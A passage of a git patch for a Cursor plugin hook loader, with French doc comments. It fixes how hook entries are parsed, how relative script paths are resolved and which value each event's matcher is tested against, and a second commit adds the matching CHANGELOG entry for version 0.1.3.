.replace(/\$\{CLAUDE_PROJECT_DIR\}/g, process.cwd()) - .replace(/\$\{HOME\}/g, HOME) - .replace(/\$HOME/g, HOME); - hooks.push({ command, isAsync: command.startsWith("afplay"), pluginName: plugin.name, pluginPath: plugin.path }); - } + if (!matchesEntry(entry.matcher, hookType, ctx)) continue; + // Cursor entries are flat: the command sits on the entry itself. A `prompt` + // entry (LLM-evaluated, e.g. core-guards/stop[1]) carries no `command` and + // is not ours to spawn — skip it rather than push an undefined command. + if (entry.type && entry.type !== "command") continue; + if (!entry.command) continue; + // $HOME/${HOME} runtime fallback: a marketplace re-checkout resets + // hooks.json to its git-tracked literal (resolveHomeInHooks only + // rewrites install-time), and hook-executor spawns argv directly + // with no shell to expand it — resolve here too, mirroring + // CURSOR_PLUGIN_ROOT/CLAUDE_PROJECT_DIR above. + const command = resolveRelativeScript( + entry.command + .replace(/\$\{CURSOR_PLUGIN_ROOT\}/g, plugin.path) + .replace(/\$\{CLAUDE_PROJECT_DIR\}/g, process.cwd()) + .replace(/\$\{HOME\}/g, HOME) + .replace(/\$HOME/g, HOME), + plugin.path, + ); + hooks.push({ command, isAsync: command.startsWith("afplay"), pluginName: plugin.name, pluginPath: plugin.path }); } } return hooks; } -/** Check if a matcher matches the current context */ -function matchesFilter( - matcher: string | undefined, - hookType: string, - toolName: string, - notifType: string, - agentType = "", -): boolean { - if (!matcher) return true; +/** + * Résout un chemin de script relatif contre la racine du plugin. + * + * Les manifestes déclarent `./scripts/hook.sh` — la forme que la checklist de soumission + * Cursor exige (aucun chemin absolu). Le hook est ensuite spawné sans shell et sans `cwd`, + * donc un chemin relatif serait résolu contre le répertoire courant de l'éditeur et + * introuvable : le hook échoue, et le fail-open le rend silencieux. + * Seul le premier token est réécrit ; les arguments ne sont pas touchés. + * @param command - Ligne de commande du manifeste, placeholders déjà substitués. + * @param pluginPath - Racine absolue du plugin. + * @returns La même ligne, son exécutable rendu absolu s'il était relatif. + */ +function resolveRelativeScript(command: string, pluginPath: string): string { + if (!command.startsWith("./") && !command.startsWith("../")) return command; + const cut = command.indexOf(" "); + const script = cut === -1 ? command : command.slice(0, cut); + const args = cut === -1 ? "" : command.slice(cut); + return `${join(pluginPath, script)}${args}`; +} + +/** + * Cible contre laquelle Cursor teste le matcher, par event. + * + * Cursor filtre lui-même quand un matcher figure dans son propre `hooks.json` ; ici + * `~/.cursor/hooks.json` ne câble qu'un hook nu par event, donc c'est ce loader qui + * reproduit la sémantique — sinon un matcher de plugin est testé contre la mauvaise valeur. + * `beforeMCPExecution`/`afterMCPExecution` comparent `MCP:` : le préfixe est + * synthétisé, il n'est jamais présent dans `tool_name` brut. + * @param hookType - Event Cursor (lower-camel). + * @param ctx - Valeurs extraites du payload. + * @returns La chaîne à confronter au matcher. + * @see https://cursor.com/docs/hooks — "Available matchers by hook" + */ +function matchTarget(hookType: string, ctx: MatchContext): string { + switch (hookType) { + case "beforeShellExecution": + case "afterShellExecution": + return ctx.command; + case "beforeMCPExecution": + case "afterMCPExecution": + return ctx.toolName ? `MCP:${ctx.toolName}` : ""; + case "subagentStart": + case "subagentStop": + return ctx.agentType; + case "beforeSubmitPrompt": + return "UserPromptSubmit"; + case "stop": + return "Stop"; + case "afterAgentResponse": + return "AgentResponse"; + case "afterAgentThought": + return "AgentThought"; + case "notification": + return ctx.notifType; + default: + return ctx.toolName; + } +} - const testValue = - hookType === "notification" - ? notifType - : hookType === "subagentStart" || hookType === "subagentStop" - ? agentType - : toolName; +/** + * Décide si une entrée de hook s'applique au contexte courant. + * + * @param matcher - Regex du manifeste ; absente, l'entrée s'applique toujours. + * @param hookType - Event Cursor. + * @param ctx - Valeurs extraites du payload. + * @returns `true` si l'entrée doit être exécutée. Une regex invalide renvoie `false`. + */ +function matchesEntry(matcher: string | undefined, hookType: string, ctx: MatchContext): boolean { + if (!matcher) return true; try { - return new RegExp(matcher).test(testValue); + return new RegExp(matcher).test(matchTarget(hookType, ctx)); } catch { return false; } From fc9055ad1a0dd1080efe469fbe27ec8e04a13796 Mon Sep 17 00:00:00 2001 From: Bruno Azoulay Date: Mon, 7 Sep 2026 10:20:04 +0200 Subject: [PATCH 2/2] chore: update CHANGELOG to 0.1.3 --- CHANGELOG.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 49134c2..35f78c9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,16 @@ # Changelog +## [0.1.3] - 07-09-2026 + +- fix(hooks): stop Cursor plugin hooks failing silently on every event — + `plugin-scanner.ts` read the nested Claude Code `entry.hooks[]` shape + instead of Cursor's flat `{ command, matcher?, type? }`, `matchesFilter` + always tested `tool_name` instead of the command line / synthesized + `MCP:` / `subagent_type` per event, and `./scripts/hook.sh` + was never resolved to an absolute `cwd` before spawn. Also rewrote the + `hooks-harness-exclusive` anti-regression gate (22 → 106 assertions, + proven red path against shell-injection payloads) + ## [0.1.2] - 04-09-2026 - feat(fuse-ai-pilot): `beforeMCPExecution` wired to the `aipilot` scope (matcher